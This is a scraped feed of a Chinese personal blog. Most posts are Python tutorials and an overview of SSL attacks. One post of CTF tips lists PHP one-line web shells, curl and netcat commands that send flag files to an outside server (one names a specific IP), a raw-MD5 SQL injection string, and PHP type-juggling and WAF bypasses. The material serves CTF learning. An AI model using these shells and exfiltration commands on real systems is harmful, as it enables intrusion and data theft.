...     print &quot;E's&quot;, state, &quot;!&quot;
...
&gt;&gt;&gt; d = {&quot;voltage&quot;: &quot;four million&quot;, &quot;state&quot;: &quot;bleedin' demised&quot;, &quot;action&quot;: &quot;VOOM&quot;}
&gt;&gt;&gt; parrot(**d)
--  This parrot wouldn't VOOM if you put four million volts through it. E's bleedin' demised !

</code></pre>
]]></content:encoded></item><item><title><![CDATA[python 学习 （二）list、元组、集合和字典]]></title><description><![CDATA[<p>list相关方法：</p>
<pre><code># 追加元素
list.append(x)
list[len(list):] = [x]
list+=[x]
# 追加列表
list.extend(L)
list[len(list):] = L
list+=L
# 在第i个位置插入元素
list.insert(i, x)
# 删除全部值为x的元素
list.remove(x)
# 删除某个元素
del a[0]
del a[2:4]
del a #删除变量
# 删除并返回第i个元素，默认返回最后一个
list.pop([i])
# 返回第一个值为x的元素的索引
list.index(x)</code></pre>]]></description><link>https://blog.agppp.cn/python-xue-xi-er-list-yuan-zu-ji-he-he-zi-dian/</link><guid isPermaLink="false">5bf279f169c1c845e1ebcc90</guid><dc:creator><![CDATA[agppp]]></dc:creator><pubDate>Tue, 20 Nov 2018 14:11:11 GMT</pubDate><content:encoded><![CDATA[<p>list相关方法：</p>
<pre><code># 追加元素
list.append(x)
list[len(list):] = [x]
list+=[x]
# 追加列表
list.extend(L)
list[len(list):] = L
list+=L
# 在第i个位置插入元素
list.insert(i, x)
# 删除全部值为x的元素
list.remove(x)
# 删除某个元素
del a[0]
del a[2:4]
del a #删除变量
# 删除并返回第i个元素，默认返回最后一个
list.pop([i])
# 返回第一个值为x的元素的索引
list.index(x)
# 返回值x出现的次数
list.count(x)
# 排序
list.sort(cmp=None, key=None, reverse=False)
# 反转
list.reverse()
</code></pre>
<p>队列</p>
<pre><code>&gt;&gt;&gt; from collections import deque
&gt;&gt;&gt; queue = deque([&quot;Eric&quot;, &quot;John&quot;, &quot;Michael&quot;])
&gt;&gt;&gt; queue.append(&quot;Terry&quot;)           # Terry arrives
&gt;&gt;&gt; queue.append(&quot;Graham&quot;)          # Graham arrives
&gt;&gt;&gt; queue.popleft()                 # The first to arrive now leaves
'Eric'
&gt;&gt;&gt; queue.popleft()    

</code></pre>
<p>filter(function, sequence) 返回一个 sequence(序列)，包括了给定序列中所有调用 function(item) 后返回值为 true 的元素<br>
map(function, sequence) 为每一个元素依次调用 function(item) 并将返回值组成一个链表返回。例如，以下程序计算立方:<br>
reduce(function, sequence) 返回一个单值，它是这样构造的：首先以序列的前两个元素调用函数 function，再以返回值和第三个参数调用，依次执行下去。</p>
<p>列表推导式：<br>
列表推导式由包含一个表达式的括号组成，表达式后面跟随一个 for 子句，之后可以有零或多个 for 或 if 子句。结果是一个列表，由表达式依据其后面的 for 和 if 子句上下文计算而来的结果构成。</p>
<pre><code>&gt;&gt;&gt; [(x, y) for x in [1,2,3] for y in [3,1,4] if x != y]
[(1, 3), (1, 4), (2, 3), (2, 1), (2, 4), (3, 1), (3, 4)]

&gt;&gt;&gt; squares = []
&gt;&gt;&gt; for x in range(10):
...     squares.append(x**2)
squares = [x**2 for x in range(10)]
squares = map(lambda x: x**2, range(10))

</code></pre>
<h6 id="">元组</h6>
<p>一个特殊的问题是构造包含零个或一个元素的元组：为了适应这种情况，语法上有一些额外的改变。一对空的括号可以创建空元组；要创建一个单元素元组可以在值后面跟一个逗号</p>
<pre><code>&gt;&gt;&gt; singleton = 'hello',    # &lt;-- note trailing comma
&gt;&gt;&gt; len(singleton)
1
&gt;&gt;&gt; singleton
('hello',)
</code></pre>
<pre><code>&gt;&gt;&gt; x, y, z = t
</code></pre>
<p>这个调用等号右边可以是任何线性序列，称之为 序列拆封 非常恰当。序列拆封要求左侧的变量数目与序列的元素个数相同。要注意的是可变参数(multiple assignment)其实只是元组封装和序列拆封的一个结合</p>
<h6 id="">集合</h6>
<p>Python 还包含了一个数据类型 set (集合)。集合是一个无序不重复元素的集。基本功能包括关系测试和消除重复元素。集合对象还支持 union(联合)，intersection(交)，difference(差)和 sysmmetric difference(对称差集)等数学运算。</p>
<p>大括号或 set() 函数可以用来创建集合。注意：想要创建空集合，你必须使用 set() 而不是 {}。后者用于创建空字典，我们在下一节中介绍的一种数据结构。</p>
<p>以下是一个简单的演示:</p>
<pre><code>&gt;&gt;&gt; basket = ['apple', 'orange', 'apple', 'pear', 'orange', 'banana']
&gt;&gt;&gt; fruit = set(basket)               # create a set without duplicates
&gt;&gt;&gt; fruit
set(['orange', 'pear', 'apple', 'banana'])
&gt;&gt;&gt; 'orange' in fruit                 # fast membership testing
True
&gt;&gt;&gt; 'crabgrass' in fruit
False

&gt;&gt;&gt; # Demonstrate set operations on unique letters from two words
...
&gt;&gt;&gt; a = set('abracadabra')
&gt;&gt;&gt; b = set('alacazam')
&gt;&gt;&gt; a                                  # unique letters in a
set(['a', 'r', 'b', 'c', 'd'])
&gt;&gt;&gt; a - b                              # letters in a but not in b
set(['r', 'd', 'b'])
&gt;&gt;&gt; a | b                              # letters in either a or b
set(['a', 'c', 'r', 'd', 'b', 'm', 'z', 'l'])
&gt;&gt;&gt; a &amp; b                              # letters in both a and b
set(['a', 'c'])
&gt;&gt;&gt; a ^ b                              # letters in a or b but not both
set(['r', 'd', 'b', 'm', 'z', 'l'])
</code></pre>
<p>类似 列表推导式，这里有一种集合推导式语法:</p>
<pre><code>&gt;&gt;&gt; a = {x for x in 'abracadabra' if x not in 'abc'}
&gt;&gt;&gt; a
{'r', 'd'}
</code></pre>
<h6 id="">字典</h6>
<p>一对大括号创建一个空的字典：{}。初始化链表时，在大括号内放置一组逗号分隔的键：值对，这也是字典输出的方式，字典的主要操作是依据键来存储和析取值。也可以用 del 来删除键：值对(key:value)。如果你用一个已经存在的关键字存储值，以前为该关键字分配的值就会被遗忘。试图从一个不存在的键中取值会导致错误</p>
<p>对一个字典执行 keys() 将返回一个字典中所有关键字组成的无序列表</p>
<pre><code>&gt;&gt;&gt; tel = {'jack': 4098, 'sape': 4139}
&gt;&gt;&gt; tel['guido'] = 4127
&gt;&gt;&gt; tel
{'sape': 4139, 'guido': 4127, 'jack': 4098}
&gt;&gt;&gt; tel['jack']
4098
&gt;&gt;&gt; del tel['sape']
&gt;&gt;&gt; tel['irv'] = 4127
&gt;&gt;&gt; tel
{'guido': 4127, 'irv': 4127, 'jack': 4098}
&gt;&gt;&gt; tel.keys()
['guido', 'irv', 'jack']
&gt;&gt;&gt; 'guido' in tel
True

</code></pre>
<p>dict() 构造函数可以直接从 key-value 对中创建字典:</p>
<pre><code>&gt;&gt;&gt; dict([('sape', 4139), ('guido', 4127), ('jack', 4098)])
{'sape': 4139, 'jack': 4098, 'guido': 4127}
</code></pre>
<h6 id="">循环技巧</h6>
<p>在序列中循环时，索引位置和对应值可以使用 enumerate() 函数同时得到:</p>
<pre><code>&gt;&gt;&gt; for i, v in enumerate(['tic', 'tac', 'toe']):
...     print(i, v)
...
0 tic
1 tac
2 toe
</code></pre>
<p>同时循环两个或更多的序列，可以使用 zip() 整体打包:</p>
<pre><code>&gt;&gt;&gt; questions = ['name', 'quest', 'favorite color']
&gt;&gt;&gt; answers = ['lancelot', 'the holy grail', 'blue']
&gt;&gt;&gt; for q, a in zip(questions, answers):
...     print 'What is your {0}?  It is {1}.'.format(q, a)
...
What is your name?  It is lancelot.
What is your quest?  It is the holy grail.
What is your favorite color?  It is blue.
</code></pre>
<p>需要逆向循环序列的话，先正向定位序列，然后调用 reversed() 函数:</p>
<pre><code>&gt;&gt;&gt; for i in reversed(xrange(1, 10, 2)):
...     print(i)
...
9
7
5
3
1
</code></pre>
<p>xrange 用法与 range 完全相同，所不同的是生成的不是一个list对象，而是一个生成器。</p>
<p>要按排序后的顺序循环序列的话，使用 sorted() 函数，它不改动原序列，而是生成一个新的已排序的序列:</p>
<pre><code>&gt;&gt;&gt; basket = ['apple', 'orange', 'apple', 'pear', 'orange', 'banana']
&gt;&gt;&gt; for f in sorted(set(basket)):
...     print f
...
apple
banana
orange
pear
</code></pre>
<p>遍历字典时，使用 iteritems() 方法可以同时得到键和对应的值。:</p>
<pre><code>&gt;&gt;&gt; knights = {'gallahad': 'the pure', 'robin': 'the brave'}
&gt;&gt;&gt; for k, v in knights.iteritems():
...     print k, v
...
gallahad the pure
robin the brave
</code></pre>
<p>若要在循环内部修改正在遍历的序列（例如复制某些元素），建议您首先制作副本。在序列上循环不会隐式地创建副本。切片表示法使这尤其方便:</p>
<pre><code>&gt;&gt;&gt; words = ['cat', 'window', 'defenestrate']
&gt;&gt;&gt; for w in words[:]:  # Loop over a slice copy of the entire list.
...     if len(w) &gt; 6:
...         words.insert(0, w)
...
&gt;&gt;&gt; words
['defenestrate', 'cat', 'window', 'defenestrate']

</code></pre>
<p>逻辑比较关键字：</p>
<pre><code>in
not in
is
not is
and
or
</code></pre>
]]></content:encoded></item><item><title><![CDATA[python学习 （三）模块、字符处理和输入输出]]></title><description><![CDATA[<p>内容引自</p>
<blockquote>
<p><a href="http://www.pythondoc.com/pythontutorial27/modules.html">http://www.pythondoc.com/pythontutorial27/modules.html</a></p>
</blockquote>
<p>当你使用以下方式运行 Python 模块时，模块中的代码便会被执行:</p>
<p><code>python fibo.py &lt;arguments&gt;</code></p>
<p>模块中的代码会被执行，就像导入它一样，不过此时 <strong>name</strong> 被设置为 &quot;<strong>main</strong>&quot;。这相当于，如果你在模块后加入如下代码:</p>
<pre><code>if __name__ == &quot;__main__&quot;:
    import sys
    fib(int(sys.argv[1]))
</code></pre>
<p>模块的搜索路径</p>
<p>导入一个叫 spam 的模块时，解释器先在当前目录中搜索名为 spam.py 的文件。如果没有找到的话，接着会到</p>]]></description><link>https://blog.agppp.cn/pythonxue-xi-san-mo-kuai-zi-fu-chu-li-he-shu-ru-shu-chu/</link><guid isPermaLink="false">5bf279f169c1c845e1ebcc91</guid><dc:creator><![CDATA[agppp]]></dc:creator><pubDate>Tue, 20 Nov 2018 14:10:48 GMT</pubDate><content:encoded><![CDATA[<p>内容引自</p>
<blockquote>
<p><a href="http://www.pythondoc.com/pythontutorial27/modules.html">http://www.pythondoc.com/pythontutorial27/modules.html</a></p>
</blockquote>
<p>当你使用以下方式运行 Python 模块时，模块中的代码便会被执行:</p>
<p><code>python fibo.py &lt;arguments&gt;</code></p>
<p>模块中的代码会被执行，就像导入它一样，不过此时 <strong>name</strong> 被设置为 &quot;<strong>main</strong>&quot;。这相当于，如果你在模块后加入如下代码:</p>
<pre><code>if __name__ == &quot;__main__&quot;:
    import sys
    fib(int(sys.argv[1]))
</code></pre>
<p>模块的搜索路径</p>
<p>导入一个叫 spam 的模块时，解释器先在当前目录中搜索名为 spam.py 的文件。如果没有找到的话，接着会到 sys.path 变量中给出的目录列表中查找。sys.path 变量的初始值来自如下：</p>
<pre><code>输入脚本的目录(当前目录)。

环境变量 PYTHONPATH 表示的目录列表中搜索

(这和 shell 变量 PATH 具有一样的语法，即一系列目录名的列表)。

Python 默认安装路径中搜索。
</code></pre>
<p>实际上，解释器由 sys.path 变量指定的路径目录搜索模块，该变量初始化时默认包含了输入脚本(或者当前目录)，PYTHONPATH 和安装目录。这样就允许 Python 程序了解如何修改或替换模块搜索目录。需要注意的是由于这些目录中包含有搜索路径中运行的脚本，所以这些脚本不应该和标准模块重名，否则在导入模块时 Python 会尝试把这些脚本当作模块来加载。这通常会引发错误。请参见 标准模块 以了解更多的信息。<br>
字符串处理</p>
<pre><code>str.rjust()  #将字符串格式化为指定长度（空格填充）并右对齐
str.ljust()  #将字符串格式化为指定长度（空格填充）并左对齐
str.center() #将字符串格式化为指定长度（空格填充）并居中
str.zfill()  #它用于向数值的字符串表达左侧填充 0
</code></pre>
<p>方法 str.format() 的基本用法如下:</p>
<pre><code>&gt;&gt;&gt; print 'We are the {} who say &quot;{}!&quot;'.format('knights', 'Ni')
We are the knights who say &quot;Ni!&quot;
</code></pre>
<p>大括号和其中的字符会被替换成传入 str.format() 的参数。大括号中的数值指明使用传入 str.format() 方法的对象中的哪一个:</p>
<pre><code>&gt;&gt;&gt; print '{0} and {1}'.format('spam', 'eggs')
spam and eggs
&gt;&gt;&gt; print '{1} and {0}'.format('spam', 'eggs')
eggs and spam
</code></pre>
<p>如果在 str.format() 调用时使用关键字参数，可以通过参数名来引用值:</p>
<pre><code>&gt;&gt;&gt; print 'This {food} is {adjective}.'.format(
...       food='spam', adjective='absolutely horrible')
This spam is absolutely horrible.
</code></pre>
<h6 id="">文件读写</h6>
<p>f = open('workfile', 'w')</p>
<p>第一个参数是一个标识文件名的字符串。第二个参数是由有限的字母组成的字符串，描述了文件将会被如何使用。可选的 模式 有：'r'，此选项使文件只读；'w'，此选项使文件只写(对于同名文件，该操作使原有文件被覆盖)；'a'，此选项以追加方式打开文件；'r+'，此选项以读写方式打开文件；模式参数是可选的。如果没有指定，默认为 'r' 模式。</p>
<p>在 Windows 平台上，'b' 模式以二进制方式打开文件，所以可能会有类似于 'rb'， 'wb'， 'r+b' 等等模式组合。Windows 平台上文本文件与二进制文件是有区别的，读写文本文件时，行尾会自动添加行结束符。这种后台操作方式对 ASCII 文本文件没有什么问题，但是操作 JPEG 或 EXE 这样的二进制文件时就会产生破坏。在操作这些文件时一定要记得以二进制模式打开。在 Unix 上，加一个 'b' 模式也一样是无害的，所以你可以一切二进制文件处理中平台无关的使用它。</p>
<pre><code>f = open('workfile', 'w')
f.read(1024)
f.readline()
f.readlines(n)#返回一个list
# readlines方法指定参数后，会读取接近n个字节的内容，但是当n值小于DEFAULT_BUFFER_SIZE时，会将n舍入到DEFAULT_BUFFER_SIZE，可以通过以下方式查看DEFAULT_BUFFER_SIZE大小,默认为8192bit
import io
print io.DEFAULT_BUFFER_SIZE


for line in f:
    print(line, end='')


</code></pre>
<p>f.tell() 返回一个整数，代表文件对象在文件中的指针位置，该数值计量了自文件开头到指针处的比特数。需要改变文件对象指针话话，使用 f.seek(offset,from_what)。指针在该操作中从指定的引用位置移动 offset 比特，引用位置由 from_what 参数指定。 from_what 值为 0 表示自文件起始处开始，1 表示自当前文件指针位置开始，2 表示自文件末尾开始。from_what 可以忽略，其默认值为零，此时从文件头开始</p>
<p>在文本文件中(那些没有使用 b 模式选项打开的文件)，只允许从文件头开始计算相对位置(使用 seek(0, 2) 从文件尾计算时就会引发异常)。<br>
当你使用完一个文件时，调用 f.close() 方法就可以关闭它并释放其占用的所有系统资源</p>
<p>用关键字 with 处理文件对象是个好习惯。它的先进之处在于文件用完后会自动关闭，就算发生异常也没关系。它是 try-finally 块的简写:</p>
<pre><code>&gt;&gt;&gt; with open('/tmp/workfile', 'r') as f:
...     read_data = f.read()
&gt;&gt;&gt; f.closed
True
</code></pre>
<h6 id="json">json</h6>
<p>变量x---&gt;json字符串：json.dumps(x) #encode<br>
json字符串----&gt;变量：json.loads()  #decode<br>
json.dump(x,f) 将内容写到文件<br>
json.load(f)  从文件读</p>
]]></content:encoded></item><item><title><![CDATA[python 学习（四）urllib、urllib2、Request]]></title><description><![CDATA[<pre><code>#  -*- coding: utf-8 -*-
import urllib2
import urllib
import cookielib


url=&quot;http://www.agppp.cn&quot;


#  最简单形式
res = urllib2.urlopen(url)
page = res.read()

# Request对象
req = urllib2.Request(url)
res = urllib2.urlopen(req)
page = res.read()

# get请求，有参数
values = {'name': 'agppp','age': '1'}
data = urllib.urlencode(values)</code></pre>]]></description><link>https://blog.agppp.cn/python-xue-xi-si-urllib-urllib2-request/</link><guid isPermaLink="false">5bf279f169c1c845e1ebcc92</guid><dc:creator><![CDATA[agppp]]></dc:creator><pubDate>Tue, 20 Nov 2018 14:10:18 GMT</pubDate><content:encoded><![CDATA[<pre><code>#  -*- coding: utf-8 -*-
import urllib2
import urllib
import cookielib


url=&quot;http://www.agppp.cn&quot;


#  最简单形式
res = urllib2.urlopen(url)
page = res.read()

# Request对象
req = urllib2.Request(url)
res = urllib2.urlopen(req)
page = res.read()

# get请求，有参数
values = {'name': 'agppp','age': '1'}
data = urllib.urlencode(values)
req = urllib2.Request(url+&quot;?&quot;+data)
response = urllib2.urlopen(req)
page = response.read()

# post请求
values = {'name': 'agppp','age': '1'}
data = urllib.urlencode(values)
req = urllib2.Request(url, data)
response = urllib2.urlopen(req)
page = response.read()

#  添加header
header={&quot;Referer&quot;:&quot;http://www.baidu.com&quot;,&quot;User-Agent&quot;:&quot;MyAgent&quot;}
req = urllib2.Request(url,headers=header)
req.add_header(&quot;Cookie&quot;,&quot;name=agppp&quot;)
res = urllib2.urlopen(req)
page = res.read()

# 异常处理
try:
    res = urllib2.urlopen(&quot;http://blog.agppp.cn/fdsa/&quot;)
except urllib2.HTTPError, e:
    print e.code
except urllib2.URLError,e:
    print e.reason

# 获取服务器头信息
res = urllib2.urlopen(url)
print res.geturl()
print res.info()
print res.info()[&quot;Server&quot;]
print res.getcode()

#  添加handler

# 代理handler
proxy_handler = urllib2.ProxyHandler({&quot;http&quot; : 'http://127.0.0.1:8081'})
# debug  handler
httpHandler = urllib2.HTTPHandler(debuglevel=1)
httpsHandler = urllib2.HTTPSHandler(debuglevel=1)
# cookie handler
cj = cookielib.CookieJar()
cookiehandler = urllib2.HTTPCookieProcessor(cj)

opener = urllib2.build_opener(httpHandler,httpsHandler)
# opener.add_handler(cookiehandler)
# opener.add_handler(proxy_handler)

res = opener.open(url)
page = res.read()




print page.decode(&quot;gbk&quot;)


</code></pre>
<p>Request见<a href="http://cn.python-requests.org/zh_CN/latest/">官方文档</a></p>
]]></content:encoded></item><item><title><![CDATA[ssl攻击的几种方式]]></title><description><![CDATA[<h6 id="1beast">1、beast</h6>
<p>参考文章[2]说的比较清楚，攻击方式主要利用了cbc的加密模式，通过猜测加密内容出现的位置，然后进行构造，通过监听加密结果对目标内容进行暴力猜解，该中攻击针对ssl和tls1.0有效，攻击方式需要通过javascript、websocket或者java applet发起跨站请求（且可以控制待破解信息出现的位置），然后通过中间人攻击监听加密结果。<br>
维基百科中提到，tls1.1中该问题已经修复了，早期有采用RC4算法代替aes的方式去预防该漏洞，但是2013年rc4被爆出受戒礼漏洞，因此不建议再使用rc4了<br>
值得说明的是，chrome和firefox使用了NSS库，而该库已经对beast进行了防护，微软和苹果公司也针对该漏洞进行了修复，因此即使用了ssl或者tls1.0，攻击者也很难攻击成功了</p>
<h6 id="2crimecompressionratioinfoleakmadeeasy">2、crime（Compression Ratio Info-leak Made Easy）</h6>
<p>crime的利用场景和beast差不多，也需要csrf+中间人攻击，主要针对使用了SPDY和TLS-level compression两种压缩技术的场景， 具体方式可以参考文章3,，主要使用了Oracle攻击原理（参加文章4），该漏洞firefox和chrome和openssl均已进行了修复，ie因为不支持SPDY和TLS-level compression，因此不受影响。<br>
但正如作者预言，crime不仅仅影响SPDY和TLS-level</p>]]></description><link>https://blog.agppp.cn/sslgong-ji-de-ji-chong-fang-shi/</link><guid isPermaLink="false">5bf279f169c1c845e1ebcc93</guid><dc:creator><![CDATA[agppp]]></dc:creator><pubDate>Tue, 20 Nov 2018 14:09:55 GMT</pubDate><content:encoded><![CDATA[<h6 id="1beast">1、beast</h6>
<p>参考文章[2]说的比较清楚，攻击方式主要利用了cbc的加密模式，通过猜测加密内容出现的位置，然后进行构造，通过监听加密结果对目标内容进行暴力猜解，该中攻击针对ssl和tls1.0有效，攻击方式需要通过javascript、websocket或者java applet发起跨站请求（且可以控制待破解信息出现的位置），然后通过中间人攻击监听加密结果。<br>
维基百科中提到，tls1.1中该问题已经修复了，早期有采用RC4算法代替aes的方式去预防该漏洞，但是2013年rc4被爆出受戒礼漏洞，因此不建议再使用rc4了<br>
值得说明的是，chrome和firefox使用了NSS库，而该库已经对beast进行了防护，微软和苹果公司也针对该漏洞进行了修复，因此即使用了ssl或者tls1.0，攻击者也很难攻击成功了</p>
<h6 id="2crimecompressionratioinfoleakmadeeasy">2、crime（Compression Ratio Info-leak Made Easy）</h6>
<p>crime的利用场景和beast差不多，也需要csrf+中间人攻击，主要针对使用了SPDY和TLS-level compression两种压缩技术的场景， 具体方式可以参考文章3,，主要使用了Oracle攻击原理（参加文章4），该漏洞firefox和chrome和openssl均已进行了修复，ie因为不支持SPDY和TLS-level compression，因此不受影响。<br>
但正如作者预言，crime不仅仅影响SPDY和TLS-level compression，还会影响其他使用了压缩技术的协议，如http，果然，BREACH攻击被发现了</p>
<h6 id="3breach">3、breach</h6>
<p>breach原理与crime一样，主要针对http中的gzip 和 DEFLATE两种压缩方式，但是由于该攻击主要针对服务器返回的数据包，因此攻击条件更苛刻，需要服务返回包中同时包含攻击者的payload和目标字符串，如sessionid，但是该攻击主要针对http协议，因此传输层或者ssl无法对该中攻击进行防御，维基中提到，可以通过对跨站请求禁止使用HTTP compression来进行防御，国内针对该漏洞的介绍较少，可以参考文章6，该文章同时提到了breach和crime的异同，参考文章9对breach进行了详细的分析</p>
<h6 id="4heist">4、HEIST</h6>
<p>最新的黑帽大会有人提到的攻击方式，参见文章8，由于还没有细节，只能猜测通过使用tcp window的方式去探测暴力猜解的结果，因此可以省略中间人攻击的条件，使攻击更具普遍性。</p>
<p>参考文章</p>
<blockquote>
<p>1、 <a href="https://en.wikipedia.org/wiki/CRIME">https://en.wikipedia.org/wiki/CRIME</a><br>
2、 <a href="https://xuanwobbs.com.cn/archives/2013-07/ssl-tls-rc4-aes-%e5%ae%89%e5%85%a8%e6%80%a7.html">https://xuanwobbs.com.cn/archives/2013-07/ssl-tls-rc4-aes-安全性.html</a><br>
3、<a href="http://www.freebuf.com/articles/web/5636.html">http://www.freebuf.com/articles/web/5636.html</a><br>
4、<a href="http://www.oschina.net/translate/gone-in-30-seconds-new-attack-plucks-secrets-from-https-protected-pages">http://www.oschina.net/translate/gone-in-30-seconds-new-attack-plucks-secrets-from-https-protected-pages</a><br>
5、<a href="https://en.wikipedia.org/wiki/CRIME">https://en.wikipedia.org/wiki/CRIME</a><br>
6、<a href="https://en.wikipedia.org/wiki/BREACH_(security_exploit)">https://en.wikipedia.org/wiki/BREACH_(security_exploit)</a><br>
7、<a href="http://blogs.cisco.com/security/breach-crime-and-blackhat">http://blogs.cisco.com/security/breach-crime-and-blackhat</a><br>
8、<a href="http://www.freebuf.com/news/111421.html">http://www.freebuf.com/news/111421.html</a><br>
9、<a href="https://nakedsecurity.sophos.com/2013/08/06/anatomy-of-a-cryptographic-oracle-understanding-and-mitigating-the-breach-attack/">https://nakedsecurity.sophos.com/2013/08/06/anatomy-of-a-cryptographic-oracle-understanding-and-mitigating-the-breach-attack/</a></p>
</blockquote>
]]></content:encoded></item><item><title><![CDATA[ctf小技巧]]></title><description><![CDATA[<h5 id="">压缩文件</h5>
<blockquote>
<p><a href="http://www.blogsir.com.cn/safe/252.html">http://www.blogsir.com.cn/safe/252.html</a></p>
</blockquote>
<h5 id="mysql">mysql</h5>
<h6 id="0">0与字符串比较</h6>
<p>写代码的时候遇到一个问题，就是发现mysql进行比较的时候，数字0与任意字符串比较的结果为true</p>
<p>如 select * from user where name=0;<br>
执行后会将表user中全部数据查询出来，对mysql进行操作的时候，需要确保类型一致。</p>
<h5 id="php">php函数缺陷</h5>
<h6 id="1ereg">1、ereg()</h6>
<p>ereg()正则限制，存在null截断漏洞，可以用%00截断正则匹配，导致正则过滤被绕过；</p>
<h6 id="2strcmp">2、strcmp()</h6>
<p>strcmp()溢出漏洞，无法处理数组导致strcmp('str',array()) = strcmp('str','str') = 0;</p>
<h6 id="3md5">3、md5()</h6>
<p>md5()哈希，每个”0E&</p>]]></description><link>https://blog.agppp.cn/ctfxiao-ji-qiao/</link><guid isPermaLink="false">5bf279f169c1c845e1ebcc9b</guid><dc:creator><![CDATA[agppp]]></dc:creator><pubDate>Tue, 20 Nov 2018 14:08:01 GMT</pubDate><content:encoded><![CDATA[<h5 id="">压缩文件</h5>
<blockquote>
<p><a href="http://www.blogsir.com.cn/safe/252.html">http://www.blogsir.com.cn/safe/252.html</a></p>
</blockquote>
<h5 id="mysql">mysql</h5>
<h6 id="0">0与字符串比较</h6>
<p>写代码的时候遇到一个问题，就是发现mysql进行比较的时候，数字0与任意字符串比较的结果为true</p>
<p>如 select * from user where name=0;<br>
执行后会将表user中全部数据查询出来，对mysql进行操作的时候，需要确保类型一致。</p>
<h5 id="php">php函数缺陷</h5>
<h6 id="1ereg">1、ereg()</h6>
<p>ereg()正则限制，存在null截断漏洞，可以用%00截断正则匹配，导致正则过滤被绕过；</p>
<h6 id="2strcmp">2、strcmp()</h6>
<p>strcmp()溢出漏洞，无法处理数组导致strcmp('str',array()) = strcmp('str','str') = 0;</p>
<h6 id="3md5">3、md5()</h6>
<p>md5()哈希，每个”0E&quot;开头,且后边均为数字的的哈希值都解释为0，（&quot;0e21212121&quot;==&quot;0e5445d3445&quot;），例如 240610708， QNKCD20, aabg7XSs等，当两个字符串哈希后都以”0E&quot;开头，则判断相等；</p>
<p>md5(&quot;xxx&quot;,true)将返回128位二进制对应的字符串，因此遇到<br>
类似<code>$sql = &quot;SELECT * FROM admin WHERE pass = '&quot;.md5($password,true).&quot;'&quot;;</code>题目时，可以尝试字符串“ffifdyop”，其MD5值为<code>276f722736c95d99e921722cf9ed621c</code>，对应的字符串<code>'or'6&lt;trash&gt;</code>，拼接后sql变成<code>SELECT * FROM admin WHERE pass = ''or'6&lt;trash&gt;'</code></p>
<h6 id="4md5sha1">4、 md5 sha1</h6>
<p>sha1()和md5()无法处理数组类型，sha1(a[]) = = sha1(b[]) = = false;</p>
<h5 id="5">5 <code>==</code></h5>
<ul>
<li>PHP弱类型，布尔值true可以跟任何字符串匹配相等(true = = &quot;a&quot;);</li>
<li><code>'0xabcdef'=='11259375' //true</code></li>
<li>当字符串开头不为0，那么字符串与数字匹配时被转为0（&quot;a&quot; = = 0）；</li>
<li>x=0.99999999999999999（小数点后至少有17位）即可满足<code>x=='1' and x= ='0';</code></li>
</ul>
<h6 id="6php">6、php弱类型</h6>
<p>介绍http://www.cnblogs.com/Mrsm1th/p/6745532.html</p>
<h6 id="7preg_replace">7、preg_replace</h6>
<pre><code>mixed preg_replace ( mixed pattern, mixed replacement, mixed subject [, int limit]) 

当 pattern为'/xxxxx/e'时，将会把replacement作为php代码执行。

</code></pre>
<h6 id="8intval">8、intval()</h6>
<p>intval函数用于将输入的变量转换为整形，对于32位系统来说，int的范围为-2147483648~2147483647，当输入的数大于2147483647时，转换结果为2147483647，即</p>
<pre><code>intval(2147483647+x)=2147483647
x&gt;0
</code></pre>
<h6 id="9array_search">9、array_search：</h6>
<blockquote>
<p><a href="http://www.bertramc.cn/2017/03/25/20.html">http://www.bertramc.cn/2017/03/25/20.html</a></p>
</blockquote>
<p>测试代码</p>
<pre><code>&lt;?php 
$array=array(0,1);
var_dump(array_search('JILAO', $array)); 
var_dump(array_search('1bert', $array)); 
?&gt;
</code></pre>
<p>打印</p>
<pre><code>int(0)
int(1)
</code></pre>
<p>不严格模式下在匹配过程中'JILAO'变成了0,而1bert变成了1</p>
<h6 id="10ereg">10 ereg</h6>
<blockquote>
<p><a href="http://blog.csdn.net/lymingha0/article/details/44079981">http://blog.csdn.net/lymingha0/article/details/44079981</a></p>
</blockquote>
<p>关于ereg()函数的一个漏洞——%00截断，可以构造一个这样的提交：?password=a%00--，ereg()匹配到%00就截止了，所以会认为提交串合法，但strpos()不受此影响，成功绕过。</p>
<p>此外还有一个非常微妙的方法。把password构造为数组，如：?password[]=a，由于ereg()也是只能处理字符串的，遇到数组做参数返回NULL</p>
<h6 id="11strcmp">11 strcmp</h6>
<blockquote>
<p><a href="http://blog.csdn.net/zhaohansk/article/details/43984569">http://blog.csdn.net/zhaohansk/article/details/43984569</a></p>
</blockquote>
<pre><code>&lt;?php
# $a='Hello world!';
$password=$_GET['password'];
# $a=True;
# echo gettype($a);
if(strcmp('Firebroo',$password)){
    echo 'NO!';
}else{
    echo 'YES!';
}
# echo ord('a');
?&gt;
</code></pre>
<p>这样一段代码，原本的意图是输入Firebroo才能获得权限，但是在5.3版本之后捏，You just need input an array ，like this（?password[]=1）</p>
<h5 id="php">php一句话</h5>
<pre><code>&lt;?php @eval($_POST['s']);?&gt;
&lt;?php @assert($_POST['s']);?&gt;

</code></pre>
<h6 id="system">system函数</h6>
<pre><code>system(&quot;whoami&quot;) 等价于 `whoami`
</code></pre>
<h4 id="">技巧</h4>
<h5 id="">命令执行</h5>
<pre><code>POST : cmd=curl your-server-ip/xxx.php?a=1 -F file=@flag233.php
//如果命令执行没有回显，可以将文件上传到自己的服务器
or 
cmd=nc -u 67.209.186.78 5060 &lt; flag233.php
</code></pre>
<pre><code>&lt;?php
/* 这会以base64字母输出 index 的全部内容 */
readfile(&quot;php://filter/read=convert.base64-encode/resource=index.php&quot;);
</code></pre>
<p>如果有sql注入，可以结合load_file(0x...)来加载文件<br>
post提交参数可以绕过部分waf<br>
构造文件上传的form可能可以绕过waf<br>
表单的content-type</p>
<pre><code>Content-Type: multipart/form-data; boundary=----WebKitFormBoundary9EMA7YcByiXwSu5W

Content-Type: application/x-www-form-urlencoded
</code></pre>
<p>关键词 vim 一般表示有形如 <code>.index.php.swp</code>的临时文件</p>
<pre><code>php默认部署路径
/var/www/html/


1、&lt;?php   ?&gt;
2、&lt;?php  
3、&lt;?   ?&gt;
4、&lt;%  %&gt;
5、&lt;script language=&quot;php&quot;&gt; &lt;/script&gt;


&lt;script language=&quot;phP&quot;&gt;echo `$_REQUEST[v]`&lt;/script&gt;
其中1，2为常用的写法，在PHP文件中个人建议采用第二种方式来标识；
3，4为短标识，当使用他们需要开启php.ini文件中的short_open_tag,不然会报错，请知晓！

php中定义变量  $a=&quot;flag&quot;;写成$a=flag; 仍然可以正确识别，但是会有Notice

php常见后缀  php、php3、php4、php5、phtml、pht 
00截断




rip-git.pl
.git 获取代码文件


各种姿势
